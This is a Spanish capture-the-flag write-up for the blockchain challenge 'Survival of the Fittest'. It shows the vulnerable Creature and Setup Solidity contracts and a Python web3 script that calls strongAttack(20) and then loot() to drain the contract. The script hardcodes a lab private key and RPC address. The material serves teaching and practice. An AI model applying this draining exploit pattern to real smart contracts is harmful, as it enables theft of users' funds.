Ir al contenido

Survival of the Fittest

Autor
Santiago Chavarro

Código fuente
#

Creature.sol
#

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 20;
    }

    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }
    
    function punch() external {
        _dealDamage(1);
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

Setup.sol
#

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }
    
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Reto
#

El reto nos dan la siguiente información:

  • La dirección de la wallet
  • La clave privada
  • La dirección del RCP
  • La dirección del contrato

Con esto podemos llamar funciones de forma legitima, en el archivo setup podemos observar que para que aparezca el estado solve toca tener un balance de 0, el cual podemos conseguir quitando todos los puntos de vida a la criatura, ya que cuando esto pasa y llamamos a la función loot ajusta el balance de la cuenta con los puntos de vida de la criatura.

El objetivo del reto es enseñarnos lo básico de blockchain y hacer una petición correcta a esta función para poder obtener la flag en la pagina web http://IP:PORT/flag

Solución
#

Para este caso vamos a usar web3 con python para poder hacer esto tenemos que primero tener una especie de plantilla para que web3 entienda como están hechas las funciones y como llamarlas de forma correcta.

Para poder hacer esto pueden revisar la pagina [[Blockchain]] en la sección de Generar Application Binary Interface

Para poder realizar la petición de la manera correcta necesitamos hacer lo siguiente:

python3 -m venv venv
source venv/bin/activate 
pip install web3

Y ejecutar el siguiente script:

from web3 import Web3, HTTPProvider

RPC_URL="http://154.57.164.65:31715/rpc"
PRIVATE_KEY="0x4fafe323d38a6dd98bc277ec3ca1af610044b37f21fe3cf7abebb00f7f74d615"
CONTRACT_ADDRESS = "0x8ad58A1399402Ffa57fFd3bC6553343263A761d0"
MI_DIRECCION_WALLET = "0xcb563AbCde67c08FC844eB161Aae4f99c6e07Dc0"

if not RPC_URL:
    raise ValueError("RPC_URL not found in .env file.")

try:
    # Initialize Web3.py with an HTTP provider
    w3 = Web3(HTTPProvider(RPC_URL))

    # Test the connection to the Ethereum node
    if w3.is_connected():
        print(f"Successfully connected at {RPC_URL}")
    else:
        print(f"Failed to connect at {RPC_URL}")
        exit()

except Exception as e:
    print(f"An error occurred during connection: {e}")
    exit()

CONTRACT_ABI = '''
[
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "aggro",
        "outputs": [
            {
                "internalType": "address",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "lifePoints",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "loot",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "punch",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [
            {
                "internalType": "uint256",
                "name": "_damage",
                "type": "uint256"
            }
        ],
        "name": "strongAttack",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
'''

try:
    # Create a contract object: This tells web3.py how to interact with your deployed contract
    contract = w3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)

    print(f"Contract loaded successfully at address: {CONTRACT_ADDRESS}")

    estimateGas = contract.functions.strongAttack(20).estimate_gas({'from': MI_DIRECCION_WALLET})

    strongAttack = contract.functions.strongAttack(20).build_transaction({'from': MI_DIRECCION_WALLET,
        'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET),
        'gas': int(estimateGas * 1.1),
        })

    strongAttackSing = w3.eth.account.sign_transaction(strongAttack, private_key=PRIVATE_KEY)

    strongAttackTxHash = w3.eth.send_raw_transaction(strongAttackSing.raw_transaction)

    strongAttackReceipt = w3.eth.wait_for_transaction_receipt(strongAttackTxHash)

    print(f"\nResult of strongAttack: {strongAttackReceipt}")

    loot = contract.functions.loot().build_transaction({'from': MI_DIRECCION_WALLET, 'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET)})

    lootSing = w3.eth.account.sign_transaction(loot, private_key=PRIVATE_KEY)

    lootTxHash = w3.eth.send_raw_transaction(lootSing.raw_transaction)

    lootReceipt = w3.eth.wait_for_transaction_receipt(lootTxHash)

    print(f"\nResult of loot: {lootReceipt}")

except Exception as e:
    print(f"Error interacting with contract: {e}")

Referencias
#